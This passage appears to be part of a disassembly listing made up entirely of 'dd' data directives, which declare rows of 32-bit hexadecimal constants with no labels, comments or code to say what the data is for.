		dd 0B908D0FCh, 0ADEC61C0h, 63395C87h, 54B6311Fh, 9F77A8CEh
		dd 4329CD62h, 72094005h, 567B38h, 4AC77F5Bh, 2C47E745h
		dd 64A0C52Ah, 0FDB8F41Dh, 20855Eh, 94750791h, 61974CC2h
		dd 0AD06EEFAh, 89C5269Eh, 7CE7F479h, 0EC43342Dh, 95A20011h
		dd 0D6CC09Eh, 2AA5C300h, 6417B6F4h, 1AC7CD7h, 0F09390EFh
		dd 9E1E982Bh, 0CE983878h, 16B7958h, 78ADEDFFh, 801E6F36h
		dd 0E2400A69h, 1CC7DBECh, 0C1454E76h, 51A97CDFh, 2DBBF0B0h
		dd 0DB686E0Eh, 0D856E594h, 0CF658300h, 2CEF5102h, 66B9FD6h
		dd 30A633B6h, 98781300h, 0E92C10ADh, 5F20C0F3h,	155C669Dh
		dd 0B8CD4D1Dh, 0B0610Bh, 0BA6EDB0Ch, 7F70C26Ch,	9C98A3C5h
		dd 0E1075EDEh, 0BAE3F4C8h, 4FC39B40h, 1C69FE6Dh, 41C5C006h
		dd 4E5C7881h, 67A01035h, 2C2F2D6h, 119F387Ah, 0BCA056ABh
		dd 0E840F107h, 517D61C3h, 44D7B05Eh, 70757FCAh,	0C5A90C3Ah
		dd 6B66B02Ch, 0C00E1574h, 1EAA1C52h, 1234B214h,	83398ADh
		dd 6990E883h, 0C6763D20h, 7DCB4881h, 0ECBBAAC5h, 5906C397h
		dd 12456B04h, 64117941h, 0AF3A995Ah, 0EE7AFC00h, 909C51D6h
		dd 39280844h, 9801A66h,	10550B47h, 42A626E2h, 0E03C02CEh
		dd 0F140C6E1h, 1777FEE5h, 8433DB18h, 0CADD59h, 356A58FBh
		dd 0C7B06EC1h, 0E3D04201h, 4F3E4047h, 263A2882h, 40601F5Ah
		dd 0DC008325h, 81DE1477h, 0C12049Fh, 0A4F6A24h,	3024B689h
		dd 20204C5Bh, 2A03BD00h, 96A13F44h, 0ADB050B5h,	0ECE8063Bh
		dd 0F874C5F7h, 60433344h, 514439F4h, 2B00BC40h,	0A0F68180h
		dd 0E31ED3h, 0DCE1D486h, 0DB0D4264h, 6663C313h,	0B13A5300h
		dd 91B56C73h, 8B308060h, 2DAFF512h, 18167B01h, 4EABA99Ah
		dd 747F2020h, 7D070E86h, 91836692h, 8DD08BBBh, 2C18E841h
		dd 32490B6Fh, 0B37D0E75h, 0A320E2BAh, 0BC07E66Bh, 5DC2AD01h
		dd 9BD5D849h, 0CEF492D5h, 58FCA8CAh, 80842CD3h,	675600D8h
		dd 4587EC70h, 0FF0690E6h, 2492C61Ah, 7CBC81F1h,	0E6B29C83h
		dd 76C3D5F3h, 739DC1C0h, 860920Eh, 0E4EC986h, 0EED06394h
		dd 0FE6903B8h, 0CBF3D5E4h, 28B41150h, 53009C78h, 7E93836Eh
		dd 606F3E4Dh, 0B906D120h, 1101CBC9h, 58092C7Ch,	2841F1D0h
		dd 908649B1h, 0A121435Fh, 0E13A1500h, 0C17AFE79h, 0AE5A00C5h
		dd 0E30EC978h, 0FD1E3C5Eh, 2C66D9F2h, 8202BD3Ah, 368D74CCh
		dd 0C1384A5Bh, 0D306C2Eh, 0E8AC48ABh, 0D05DB102h, 0E480609Bh
		dd 0ED80319Eh, 4A28AC90h, 7018E8CEh, 47414136h,	4DB200F2h
		dd 0FB69EC9h, 0B900B41Fh, 0DB742B14h, 2471CFFDh, 59893F4h
		dd 0E11B26h, 876B4D84h,	0CD1486ADh, 229C3979h, 0D354A1A7h
		dd 0C5E00D2h, 7702E1DCh
		dd 0B66A941Eh, 0D09C63D2h, 1118244h, 4AB1AEC0h,	0EC05BC6Dh
		dd 99C75C36h, 42106B3Ah, 1CD67ABAh, 80B2512Ch, 4F5D9E48h
		dd 29C06F35h, 575E67D0h, 0E97F25h, 0EEFB407Bh, 0B6C52DE0h
		dd 0DF020491h, 0A02F666Bh, 2863E9D4h, 90341FF0h, 514A41C7h
		dd 0C00F8185h, 0A20B3A02h, 1BD0837Fh, 0BCA6B004h, 1A090012h
		dd 48FF2172h, 0B5FCBDADh, 355988A0h, 0B0DBD62Ah, 0F5CF4605h
		dd 0A499FBACh, 6218C900h, 418A02B5h, 7CA319BEh,	176FE0C0h
		dd 0AA70F707h, 0E20742DCh, 0A75ED840h, 6C2C4818h, 0B1B87B04h
		dd 4F90C261h, 0CB008864h, 0BB76CDE1h, 509668FDh, 3907583Eh
		dd 873FCA6Ch, 0FCABBD00h, 33D9D47Ah, 0F09C8855h, 0B6012BD8h
		dd 631ACFDDh, 6E300FBFh, 985C4802h, 0A75F0C7Bh,	0AF314033h
		dd 0FC824D00h, 2B7B4CEEh, 4BB400F9h, 29790E86h,	9BE29FC4h
		dd 0C4CF4Ch, 4E2C4421h,	0FDE5CB6Fh, 0D99E8051h,	0E201A02Fh
		dd 0AFD5A200h, 1C89968Bh, 0B8CE00B3h, 0FE530716h, 0C71D5406h
		dd 4D6E1F0h, 0D5781004h, 0B5754080h, 65C0C0Fh, 0F59971ABh
		dd 126B2C3Ah, 7C06B0A8h, 807132EBh, 0A1B3B29Ch,	0D9E431D0h
		dd 9050E543h, 3ECCE2h, 9BEB1147h, 15D8A0F1h, 9F6C3001h
		dd 6733CB5Ah, 0F80C6180h, 3247E5A5h, 49020FFEh,	4462ECAh
		dd 8AC40EFh, 0C8F003FEh, 0B9557CCDh, 0C30F6DA0h, 38CCE72Ah
		dd 0C16B7200h, 410E8C50h, 0DAC300FFh, 946E9FDEh, 4F09CC1Eh
		dd 109EC547h, 0A8DAD09Ch, 58EB9364h, 9C3F50AFh,	3419C5B0h
		dd 4003029Bh, 0D79A646Ch, 0EF588113h, 2C72560h,	0B3D41FE2h
		dd 0DC64663Ah, 44AA900h, 0C6233908h, 94451D37h,	40E5DCFAh
		dd 59474EB4h, 0A901D38Ch, 5DEC1EEFh, 2CD4090Dh,	0B1B70053h
		dd 0AD9BCF5Eh, 6E543617h, 4A007590h, 99AEC602h,	2ED01C3Bh
		dd 61288AC5h, 205B96F5h, 9E00490Ch, 394E1FF7h, 1D37157Eh
		dd 5F3B9D40h, 5ECF0620h, 6113287Bh, 0F83033A4h,	1AEFE3Fh
		dd 0BC563011h, 0FC86375Ah, 0C2E41C7Dh, 26FD793Fh, 6B418851h
		dd 0F1803B46h, 0F8E38AE4h, 0FCFC4FBDh, 6B7DE6E6h, 1103ACB1h
		dd 0A66FC4D8h, 4C9B7811h, 0D00DE33h, 75DA89A8h,	50C0161h
		dd 91CFE4A6h, 906B7FA9h, 0FCA500CCh, 0ABDB8B0Ch, 0F1FF977Fh
		dd 60907076h, 0ACF4361Dh, 92B1BB80h, 0BB01C13h,	5407E54Bh
		dd 6F95BC81h, 0A2798108h, 0CA903E93h, 303320h, 0FBFC9252h
		dd 0F89C7D15h, 0E5ABD401h, 6EFED18Fh, 2FEFB042h, 57143AC0h
		dd 0C613157Dh, 78492294h, 0D6A49035h, 0D1510298h, 0C629C48Eh
		dd 0C8EE857h, 0E1C02699h, 53510F58h, 7273780h, 0E000A3A8h
		dd 784EA06Ch, 469CDC0h,	5831654h, 0E750883Dh, 0EEB558h
		dd 2BF080B7h, 437C3ACh,	72A9183Eh, 748881E2h, 0F02DC521h
		dd 4B481A63h, 32AB0038h, 0CA83B943h, 0FB4B96Fh,	6681656Ch
		dd 0DC6BE33Bh, 7B004519h, 0D2DA2874h, 2EC3FBBFh, 6064EE7Dh
		dd 9B42C10h, 84A2C700h,	74C9C890h, 93FEAEh, 5D9AE59Ch
		dd 0FDC1AC81h, 0DDDBD700h, 77634E41h, 3639226Bh, 0B078AD39h
		dd 29C511CCh, 489A7DCDh, 753B444Fh, 4E6B9B86h, 7494311Dh
		dd 0B007CA40h, 3AB91DD9h, 10C8D31Fh, 110B14CCh,	641070ABh
		dd 7B16B901h, 7C02FD2Ch, 66E28688h, 0C2BC3B30h,	519AA080h
		dd 31688596h, 48CC3D00h, 0F1BB910h, 0C8DB0EDCh,	0AB605E07h
		dd 8AC4B0CAh, 43F57308h, 0FB2B96D7h, 0EFA56303h, 0C26EC8DEh
		dd 163E0074h, 976A01B0h, 0AD27B92Ah, 0C527066h,	236F2F65h
		dd 0FE3E13B1h, 53BC00DCh, 3BBBD137h, 0D7A305C4h, 40A9E714h
		dd 2DF30290h, 9300C1D0h, 0FABE8953h, 13BDFAFh, 0D13E3538h
		dd 31075870h, 8EB460DDh, 6BB9C509h, 0F3C810B2h,	60E54CE6h
		dd 29808789h, 0F8B25B29h, 6BD76607h, 76F3D12h, 52F02D0Dh
		dd 993BB6Eh, 50FE32A4h,	6B004044h, 0CC58085Eh, 0A79C61Bh
		dd 32B0A12Eh, 406E0EDCh, 4A73FD27h, 6F84090h, 0C80067C0h
		dd 2C01B16Dh, 0FE6C219Eh, 563700A6h, 0A186FC2h,	15023AFDh
		dd 50163895h, 14EA2011h, 29018AF8h, 8EDBD852h, 0B13FE68Fh
		dd 80C6FDA1h, 0E10B6AD1h, 1233DEAEh, 98C56304h,	20917F44h
		dd 63BDC783h, 373BB8DFh, 0B034135Ah, 5CF00FF5h,	0AC849053h
		dd 293A26C0h, 5B3006AAh, 741DA40h, 567A1A11h, 986933C6h
		dd 0E86DABA8h, 8ECD4B09h, 0B2268E99h, 6018C8h, 0A0ADFEF5h
		dd 0D83AE414h, 0D627EC00h, 0F4839189h, 0CDE52807h, 38F80064h
		dd 6A02879h, 2050376Bh,	1A02C348h, 1954BB52h, 1FC846D7h
		dd 802AEEE6h, 0FB654EDFh, 1400CCE4h, 0F1A8D795h, 4B5FE7Bh
		dd 367DADAFh, 4594886Fh, 170BB17Fh, 53EC787h, 0EF18683Dh
		dd 53F489h, 5AE48935h, 0B371BC13h, 0A0CF4Ch, 0BDDB9DB8h
		dd 6A3F81h, 9BD05F1Dh, 7ED80677h, 878EFE02h, 4120B9E0h
		dd 4810BE38h, 0BA00B8D1h, 0C1D69695h, 38F8AD70h, 92854E26h
		dd 38CC505h, 31E4B468h,	0F24B3900h, 0C4DFBC66h,	0F707052Bh
		dd 0C23BDE7Dh, 0D740DCF1h, 0B9548638h, 0C006D6Ch, 94C917E2h
		dd 3FFC7116h, 57965C61h, 8EE40153h, 4066D90Eh, 0F4027D18h
		dd 6D862C07h, 0DF844574h, 0E641CCC1h, 4CE74820h, 78003490h
		dd 797407DAh, 22C2D63h,	0B000B02Eh, 50EECE76h, 9DA51C93h
		dd 136D1D90h, 0B8D83002h, 9C3CDFC3h, 0E48E8070h, 84EC6988h
		dd 971A48BAh, 783F1C5Dh, 0C32A5600h, 542D8367h,	3D2F5B0Ch
		dd 0ED721D9h, 1EE3C4FEh, 0AE322C00h, 0E27D81CDh, 0BED5A40h
		dd 0BAB9C65Ch, 60795401h, 169C2C2Ch, 0B807DD2Ah, 0C770B1AAh
		dd 0B3130Dh, 0B6DEDFE8h, 435B2E4Eh, 29006CB1h, 0A31605C5h
		dd 28C6820Dh, 73B0F702h, 0D24D6BE7h, 14900F30h,	7120F62h
		dd 484054B4h, 839F5A80h, 1D2D137Ah, 0C1AC6681h,	6393548h
		dd 336CC950h, 61B116D4h, 0CC307C13h, 98F56EA7h,	58A50053h
		dd 6CC6785Dh, 9200BA07h, 6DEA949Eh, 5AA20CFh, 67B8FDCh
		dd 4C44CC53h, 13B61284h, 0F0CCC150h, 123862BAh,	385E3FA3h
		dd 0AB396658h, 0B63A0014h, 4BFA6934h, 1558C12Ah, 2DEF00B5h
		dd 5A4E2BDEh, 0F14CB091h, 4038C214h, 0B2B01829h, 5F9C0328h
		dd 0CD9B176Bh, 53E854C8h, 81370100h, 0D04DB13Bh, 31A263EBh
		dd 5100066Fh, 3563C93h,	13ECF2Dh, 0D842C974h, 0DB38C6E3h
		dd 0CB2C7F80h, 0FE4EED00h, 6E7A47CDh, 0E0A34EF6h, 0A27BA174h
		dd 0A95FE100h, 0D5711BC6h, 0F2BA01ABh, 5B2FEB56h, 8054D506h
		dd 52372CB1h, 25D1A4E5h, 0ECA033A7h, 41BBF7D2h,	8BE7183Eh
		dd 0D93F22h, 0AD51CD84h, 4C5F1828h, 31BBB109h, 179B3238h
		dd 0D420E597h, 10D985h,	0A5D3D4F9h, 12A0DE3Ah, 155F39h
		dd 6FF5AD6Eh, 12381679h, 1FD9EE5Dh, 61B600EEh, 0B1496976h
		dd 738734Ch, 0AAC65377h, 3AD09760h, 0D4430637h,	81056FBDh
		dd 34DC9C00h, 9FC52EABh, 24C6E29Ah, 802739h, 9B8089F8h
		dd 189894E0h, 3821330Eh, 848113C1h, 0D5EC231Dh,	0CF9D4EBh
		dd 8F598A37h, 0E46F2D44h, 0D3E2CA5Ch, 8311941Ch, 93D4F1C3h
		dd 0E21690FDh, 0CE64036Fh, 3D71C9A4h, 86004F8Ah, 568870h
		dd 8A9CE5B3h, 0FA896EAh, 6B5B2D24h, 60092C2Ch, 3C48E940h
		dd 5CD30280h, 30E5D695h, 0AA35000h, 9EC55B3Dh, 0FFCD24B0h
		dd 60E30064h, 1EDECF37h, 8508C78h, 9456F60h, 384472D8h
		dd 845C5C63h, 2D3BB400h, 0E2CF5E1Dh, 0B5C6872h,	500F22C8h
		dd 3D7443Eh, 0E319CF66h, 47988E88h, 58FEAD4Eh, 0EB164001h
		dd 7548965h, 4C83643Ch
		dd 7200A6B1h, 9BEC81FFh, 30E983h, 6E1AE449h, 0D1C38DDh
		dd 7AE70105h, 60821886h, 0B7B4A0D5h, 135693BDh,	0FB1EE250h
		dd 0D87BE305h, 927F9000h, 452CD60h, 77EEF862h, 1A4E2D6h
		dd 0ECE5B2D9h, 0BDEC43ACh, 746F075Fh, 0A3EE836Ch, 6B203C5h
		dd 1C0988D9h, 776420E0h, 4C2CF8FFh, 0BD268CEEh,	0B45B0094h
		dd 1CB9DBA5h, 0BF0E100h, 6C1E73CCh, 0E31D28ABh,	0FD3244B4h
		dd 1B15AD0Bh, 57241050h, 25E800F3h, 0FC917F90h,	3DF76C9Fh
		dd 182E0E40h, 7D0820C0h, 7DF53C2h, 82D2B7CCh, 0FED447BAh
		dd 0C1595FA5h, 466BCD11h, 155808D4h, 12D2F30h, 376708C8h
		dd 0C7E0F4D9h, 143A2CD6h, 91E4128Ah, 0D7E178A4h, 0AA30FB9Bh
		dd 0FCB3F973h, 2B87009Ch, 0F530325h, 30031B9Ah,	2A656B66h
		dd 0A888AC1Dh, 3C6A02DCh, 79ADAADBh, 4423AE80h,	583EC5CBh
		dd 449D814h, 33C8E001h,	19A9B8C8h, 0B6A62810h, 0B8F5F4E2h
		dd 0AE6E3902h, 0C050C451h, 28BB808Bh, 50B8DED5h, 0B1ABBC9Dh
		dd 456B095Ch, 30D6D891h, 9E004464h, 0C1CC18C7h,	1CD72D5Dh
		dd 7A1D5181h, 852E0CC8h, 0C4B761C8h, 9186EC95h,	9838CCF0h
		dd 502F1F78h, 324024EEh, 1D2010D5h, 0C3EC46C5h,	1CDF9203h
		dd 2C7E81C0h, 47809C91h, 3FF74ED5h, 50F1073Eh, 0E117DEDBh
		dd 203685ADh, 0B1166014h, 6028119Ch, 2CB55885h,	6C3E2B22h
		dd 3C532C9Eh, 13EC443Ch, 30529B81h, 0D3B6412Ch,	5F119000h
		dd 942EF26h, 439A00AAh,	0BFB21F2Dh, 397A9902h, 0ACBAB00h
		dd 51806EB3h, 305070E8h, 364985C6h, 0E711AC7h, 51F75C03h
		dd 906F3738h, 985ADF4Bh, 0D8355272h, 4E2E91Eh, 82EC623Eh
		dd 7A2166A8h, 89E8C3A6h, 7ED207DFh, 308F2373h, 5FBE9786h
		dd 26377200h, 0F4B3F00Dh, 0FE64B0CEh, 1ECD986Eh, 32365002h
		dd 0EC908906h, 7003983h, 2F098CACh, 0FC0DC418h,	0F01581Ch
		dd 0F3CB0B00h, 0EAF1C7C1h, 98E5CD24h, 23EC9440h, 0BBF0055h
		dd 0B1871630h, 7D00A203h, 92E0EE6h, 0C05D3638h,	0A7D6DF69h
		dd 76009522h, 883F6B1Ch, 9AE68EBh, 0E40E2612h, 572A6C48h
		dd 51C4E300h, 9E1D78E0h, 0F2D025CAh, 0B8C524A2h, 0BB251C5Ah
		dd 1708B17h, 9ACF81A4h,	0E8AB1C60h, 830F1AFh, 0E4E788B8h
		dd 0F09FA0B1h, 58993F80h, 13204011h, 203EF3D1h,	47A33878h
		dd 10F85200h, 9C6EDE9Eh, 7D9F0922h, 0EC44FF2Ch,	357A5600h
		dd 0A2B671A6h, 1BDF003Fh, 0B1EB2AC7h, 19059576h, 36D6D755h
		dd 7AC23C10h, 8CE5E309h, 0B4968394h, 7799E43h, 728B1376h
		dd 8E976070h, 3CB9FE9Bh, 75DB4F80h, 651BB8h, 1D92AEA3h
		dd 9F257967h, 0E1E7AA1Ch, 0BC302D56h, 1F7BC94Dh, 0C0690DC8h
		dd 3B90D444h, 7102D84Ah, 0EEC57DA7h, 0B7AC90E5h, 5712000Dh
		dd 4F02320Ch, 9904F514h, 5911FB7Dh, 7CD4C88h, 2A0AD46Eh
		dd 0C850C7E6h, 3C1154A6h, 0AAC0097Ch, 7098A708h, 51396A7Dh
		dd 0F25400A0h, 0FB7488C5h, 0ADD8E925h, 38150783h, 0A1723A76h
		dd 0B23BFEDAh, 0E0365118h, 0F065634h, 7B4E94C0h, 0A4435CE5h
		dd 5100AC54h, 0B06C14C6h, 7BA03262h, 0B7ACB685h, 0B7F3F06Ah
		dd 5E015939h, 225D60A2h, 0CC4C5BC0h, 4CD80286h,	3F7A311Dh
		dd 80BCFE85h, 71B04138h, 6E09964h, 0A0446E22h, 3C80EC91h
		dd 8F160E33h, 6BE112B5h, 93C09044h, 0AD007A29h,	0E833DEA5h
		dd 44739B6h, 0B06D42FFh, 0C6B8C288h, 9A40AC54h,	0FC08ACF4h
		dd 7AF001E8h, 2102713Ch, 0E63F6019h, 96F48C0Eh,	2231D86Fh
		dd 32720078h, 63A159A6h, 0A7030B60h, 0E5FC752Ah, 13A100A8h
		dd 858A6C9Ah, 0CA0EA548h, 0C29256E9h, 0E1F90CDAh, 6878BB01h
		dd 6F118581h, 4A723021h, 0BE194400h, 17410BD4h,	4B3A0B77h
		dd 8005F746h, 0BC74144Fh, 0C9449500h, 0D514CB6Dh, 7C5F9BE2h
		dd 0E002E820h, 0F9991E52h, 3B2780DEh, 817912DFh, 0FB282C01h
		dd 0F02F3FC9h, 267E5060h, 13DCFCC4h, 0E2608463h, 0DC2B0058h
		dd 0BAB9E2EAh, 0E98B07A8h, 2996921Ah, 88442809h, 7114FE5Ch
		dd 348CD54Ah, 289051h, 6EC3DB76h, 3AE0400Fh, 11261502h
		dd 64BBC539h, 45942E30h, 9C510B54h, 12B0081Bh, 36004180h
		dd 0A5522CA2h, 0EEDEF394h, 3DF502A7h, 0C2939617h, 0E97F64E8h
		dd 92F74400h, 0C56ED9DCh, 3649C09Eh, 0ADEC8253h, 155C6B17h
		dd 68CDFC02h, 4124E00Ch, 6610C737h, 0B06B0226h,	0C5077C79h
		dd 0C340D987h, 443D0865h, 191C78D3h, 0E1C0D263h, 35C3F361h
		dd 0C44358EEh, 0FB0AEC83h, 9B6C760Fh, 3F6A200Dh, 9EECD64h
		dd 0DAD5D87Dh, 2D9DE851h, 0CD8D3440h, 0E9E915F5h, 5F586870h
		dd 1F5C23B0h, 9A9987A8h, 5709F10Ah, 800EF5Ah, 3ACE7F89h
		dd 1030F51Fh, 85D4C1Dh,	6A6C96C0h, 17005E54h, 5A7265D3h
		dd 440F99Bh, 33C3AA04h,	8794A848h, 70003927h, 588F0Fh
		dd 4E55B752h, 0C602A44Bh, 85E89258h, 18C2CFD8h,	22CE685h
		dd 8482C120h, 85C0AB92h, 60F18603h, 9895538Ch, 0F070B068h
		dd 3F5C4FE3h, 78E12EDCh, 4C407C1Ch, 6C4D1D5Ch, 906F4BC5h
		dd 0F22E08ACh, 0FFD9F800h, 7A5ADDACh, 11E9179Dh, 50506057h
		dd 4A486BFCh, 60089634h, 20E49373h, 5BDAA3D4h, 35BBA803h
		dd 0A8F4FD6Ch, 3232596Bh, 25485D76h, 30F01C43h,	4100061Bh
		dd 20F4B58Eh, 0B0AB2FA3h, 282345A0h, 72FF8010h,	0E4A9A744h
		dd 711417FDh, 0C680095h, 70C9F62Ch, 48C1F73Bh, 9D301294h
		dd 0D0745802h, 81547404h, 0D12D79C5h, 51180CFh,	313B49C4h
		dd 0A96C1221h, 755802FCh, 88795384h, 0D86EF01h,	38241FC1h
		dd 58E1489Bh, 0A64EB6C0h, 2202F057h, 55F6AC3h, 0F107E023h
		dd 0C6A90073h, 4EBBF891h, 6F4FF08h, 944D498h, 0A9980593h
		dd 3538F9h, 0FAB33D38h,	1097B14Ah, 2CFCDD8h, 0A1DF56C6h
		dd 6460E02Dh, 8B4831E7h, 5BB62210h, 331821FDh, 479F6069h
		dd 63834D00h, 0D91FB961h, 105A00B4h, 0FD14B053h, 57696D11h
		dd 40584279h, 5CFB6408h, 8E0C5807h, 3408E6B0h, 0B5CC75Ch
		dd 0C866AF51h, 763AF13Ch, 5BF20737h, 0E779A5BEh, 403F9103h
		dd 9498FEEEh, 98F64DFEh, 0AB00D9E8h, 0B86808CDh, 171CBCC7h
		dd 32E5ED5Bh, 0F4C261DCh, 0BD9388C0h, 3AB88E00h, 0F41FC59Bh
		dd 9483395Dh, 510D5780h, 3EA16EC2h, 0E97E8D00h,	74C5B5EFh
		dd 0BC877F3Ah, 9297407Ch, 0D2004224h, 0BD6C7033h, 3D8CA3DDh
		dd 6809B37Ch, 6082ADDEh, 8C28094Fh, 21F4D11h, 64E14B38h
		dd 0F7CD4402h, 2E888660h, 508CD759h, 5F022DE8h,	946D3715h
		dd 0C8D1F1h, 3155134Dh,	48021E9Ch, 0F304BA7Fh, 773CC0D6h
		dd 7CE133Ch, 3A2CA269h,	17149D2Fh, 34C28F3Ah, 1200720Bh
		dd 86387EBAh, 1D6A0EF1h, 6020CD53h, 0A1F3FD4Eh,	0D790CCA3h
		dd 50C4C8D5h, 0B480FEE2h, 99E5E05Dh, 0B5AA0334h, 0A0E86A44h
		dd 4B0E32B4h, 1D8FBAh, 0BCDD2C4Dh, 0D024F9E4h, 0E1F8E5h
		dd 466813BBh, 4C6A1495h, 0CB4FFCA4h, 0E2E17832h, 3B2C4168h
		dd 0A87A828h, 0F68E907Bh, 0F70091C1h, 7699CD78h, 11C0E9ECh
		dd 7A8E51Ch, 5441C7D3h,	0F8DDDB10h, 0AC600311h,	0A2457A67h
		dd 3699CCB8h, 3000FCB1h, 9D28B848h, 8D6E0020h, 90D726FEh
		dd 0D6044AD9h, 1186049Ch, 9E801CF8h, 0F16206C9h, 494903Ah
		dd 96F1F3Bh, 0C575F8C0h, 0E3860135h, 394E2C9Ah,	58A0CB17h
		dd 4B5C6A0Dh, 98C88960h, 0E6A008h, 0E0995874h, 10CCC5F0h
		dd 549403E8h, 90EAFB40h, 7DA20BD4h, 0A804BC23h,	7C4252D2h
		dd 0F02AAC20h, 40DCB610h
		dd 7BE36BF2h, 76448E4Ch, 0FE482890h, 52F9C08Ch,	7D3BC79h
		dd 0E3DCDB78h, 0A692C042h, 0B2127D9Bh, 20C8F397h, 0F1B81DB3h
		dd 4CC6C0Bh, 0A88F3768h, 10492D44h, 5CB18h, 16CAB6E7h
		dd 7B4EFB24h, 36DA3130h, 7489EDDh, 0CEAE7F30h, 0A160E0B8h
		dd 0A8B94B6Bh, 7768100h, 31D0E516h, 5AA9B7F1h, 0ABDEF08Fh
		dd 74EB6B12h, 0F500D0B2h, 0B26053ADh, 55003277h, 40D3C3D1h
		dd 989E57B6h, 7F6404B0h, 40D043FEh, 0FD0DF782h,	0D40C0066h
		dd 0BA6A3349h, 7924CF38h, 9413C0C5h, 44E4BC89h,	0B1191D04h
		dd 4014EE67h, 0EC88B4Ah, 0C0D8F558h, 0AB602EE9h, 18547453h
		dd 80AA8002h, 0F52EA835h, 9380CD6h, 2C231Ch, 5F366BF0h
		dd 4514806h, 8DC3DE80h,	40A85205h, 0FF0F9918h, 453F85BDh
		dd 48C04ED1h, 0E26237h,	318FEEBBh, 0BD85608h, 0C7FA4090h
		dd 0F1D6870Bh, 5A5C0092h, 4C8CD917h, 0CC272330h, 82490868h
		dd 748118B9h, 7D8FCDFDh, 8CF83ECDh, 2D55003Bh, 0A3634537h
		dd 6D09E3F6h, 27D87ED1h, 89C75E8h, 9634B128h, 713B00CFh
		dd 0BD66160Eh, 0E1DA9A00h, 4C379F51h, 0FE97B10h, 4E7F6CF6h
		dd 2F1DDE1Eh, 0F86AAC20h, 0E600A3E3h, 0EEEBE5FCh, 17790F9h
		dd 0D9EF23D6h, 3309D0F2h, 0C0E40110h, 471B3354h, 7FB9E884h
		dd 0E3A8E4E5h, 8F384100h, 8AF00923h, 90C44C2Fh,	33E15409h
		dd 80F52890h, 4546AD0Eh, 0D54FA06Bh, 3B13C35Bh,	0E1F6A057h
		dd 1FD85870h, 0CBEEF4AFh, 8C1ABBF0h, 7F05CCE8h,	0FF188900h
		dd 81C4A937h, 6B31054Eh, 2F5CB90h, 3EEE9BB8h, 7D007872h
		dd 5B58693Bh, 9F16B79h,	3ED8175Ch, 1363E810h, 0E4406715h
		dd 0B5E50BB0h, 44D00EEEh, 5CCCBAC5h, 87E600A5h,	993CCA3Dh
		dd 51007F2Eh, 0E91B8279h, 0AB2A33h, 2DCD44CEh, 0D683DBF5h
		dd 0B2376E1Dh, 54ADEFC7h, 0E147B0C2h, 0D9A7A02Dh, 0E2008844h
		dd 8693ADD2h, 0EADB37h,	8DA0CA4Dh, 2A4E0D42h, 0A1882D03h
		dd 900BE153h, 99550640h, 0A8662590h, 0EE0BD609h, 8F10998Ah
		dd 4234383Bh, 0E3850A1Fh, 0E030C084h, 468068F8h, 3A4BE593h
		dd 0C06C7358h, 3BF0F182h, 0B3FC0039h, 3F43A0C8h, 1716C0EEh
		dd 0D8080626h, 0E98D8FC4h, 5FE2CA0h, 593BFA5Ch,	565880E3h
		dd 0AFEDC341h, 141808E8h, 9E802F50h, 8DA9580h, 0AE780040h
		dd 0D451F5F0h, 0C30F7112h, 164D72FAh, 973EEC48h, 97B4D0E4h
		dd 2F00F876h, 2E1F9B0Fh, 3E179Ah, 395EDBA6h, 0EA49153Bh
		dd 11E81405h, 20087251h, 98780CDh, 0D52CD43Ch, 0E1020705h
		dd 18E45511h, 4DB12CB5h, 0C8441290h, 2C12C390h,	0CCA44055h
		dd 0C9105EFh, 0C2A18538h, 82F58166h, 59EBD0E5h,	1B3B8078h
		dd 18C3D630h, 4A859C00h, 0E1DBEE1Ch, 0A09A2Dh, 0B44E3029h
		dd 0A50547CDh, 0E4D1A217h, 0C00614C1h, 0C49F5870h, 0A4353689h
		dd 310057E0h, 6019D28Dh, 79D391B0h, 0FA7005F5h,	80FC4D25h
		dd 6F67890h, 86D8670Bh,	0CFB091CEh, 5024E083h, 7AA0DBBCh
		dd 9171E7D0h, 72639300h, 0E505F58Fh, 0EF31C0C3h, 667B94D0h
		dd 15445500h, 0B825B48Ch, 58AD649Fh, 1D2E47A2h,	0F33F606Eh
		dd 0E45DCCB4h, 1FE70056h, 3E8D13AFh, 74F5F4Ah, 0B6E0C8h
		dd 0F9C55DC3h, 93F08951h, 0D1E2CF0Ah, 0B008C03Ch, 14A40Ah
		dd 0CFE71497h, 5494A1D5h, 0DFB02E40h, 0F232000Fh, 0CC7DEAF1h
		dd 6009DD39h, 0E457155Ch, 0FF0F07C8h, 1BDFABh, 5BD8EA4Ah
		dd 0E96ED900h, 9D5E203h, 0F8C9CBCCh, 96F10400h,	4400BFCBh
		dd 5A611101h, 0EEDC751h, 0B01CB31Bh, 0DA8078E9h, 0AD03D263h
		dd 82396FEAh, 0E07F8037h, 19015061h, 1108C055h,	94BF12EBh
		dd 215DAC00h, 0CA6181C8h, 196A00A9h, 0DD9C9622h, 4407B7CCh
		dd 1786E9F8h, 9B5F18E0h, 1985E4B5h, 88740D59h, 87697150h
		dd 35C6A361h, 9B1222A0h, 0FDC7ABBh, 0A6174246h,	0B59120C0h
		dd 0F860A92Bh, 82303531h, 726005C2h, 81B158E2h,	8C0A7D87h
		dd 0B15C1E21h, 0C0181FA5h, 7F00FD60h, 15E525FFh, 6D03BACEh
		dd 0F359C904h, 0A910076h, 212DA25Ch, 5154E4ECh,	0DB003E98h
		dd 39313BE6h, 74E5EB91h, 615E600Ah, 0E76FB43h, 3F030BE8h
		dd 0D5BC325Ch, 4920E7E2h, 0E69EE090h, 3D6ECB6h,	6F1FD365h
		dd 0A914E5F7h, 634E3ECh, 5A620A31h, 3410059h, 0DDEE692Eh
		dd 4205B997h, 9A540A30h, 0C1EB8FC0h, 0B64600C0h, 2EBA9F59h
		dd 7E0E3E41h, 58E8712Ch, 0F236D1h, 6ADF65ABh, 5CB9B1CAh
		dd 35599A00h, 397F5B63h, 78700BCh, 0C96B2AF7h, 21E9E99Fh
		dd 0C1418024h, 0E22D4F0Ah, 0BBE0C0B8h, 0A8490893h, 31B0A500h
		dd 0EC7301F8h, 7F6705CEh, 201E5163h, 72F0168Ch,	0D5A0381Ch
		dd 0F6415130h, 20F9000Bh, 4502DA6Bh, 0BE7CE12Ah, 39561B30h
		dd 75F1510Bh, 62FF00A2h, 63BB8648h, 0D230BA92h,	35F34966h
		dd 0C8E00003h, 20325E25h, 1200A5E5h, 86828C57h,	905C0B08h
		dd 87E74408h, 0F99B2700h, 2383E01Eh, 60EB0188h,	0F65C4ED2h
		dd 59BEFDh, 3220B75Fh, 24A84D87h, 64BD45h, 74F8B34h, 1B079805h
		dd 712FDA6Fh, 787B0950h, 0BAB8C553h, 3DE44F77h,	4D8BE240h
		dd 59030A5Bh, 5095CA9Ah, 9997A0D0h, 0D1148046h,	5C25860Ah
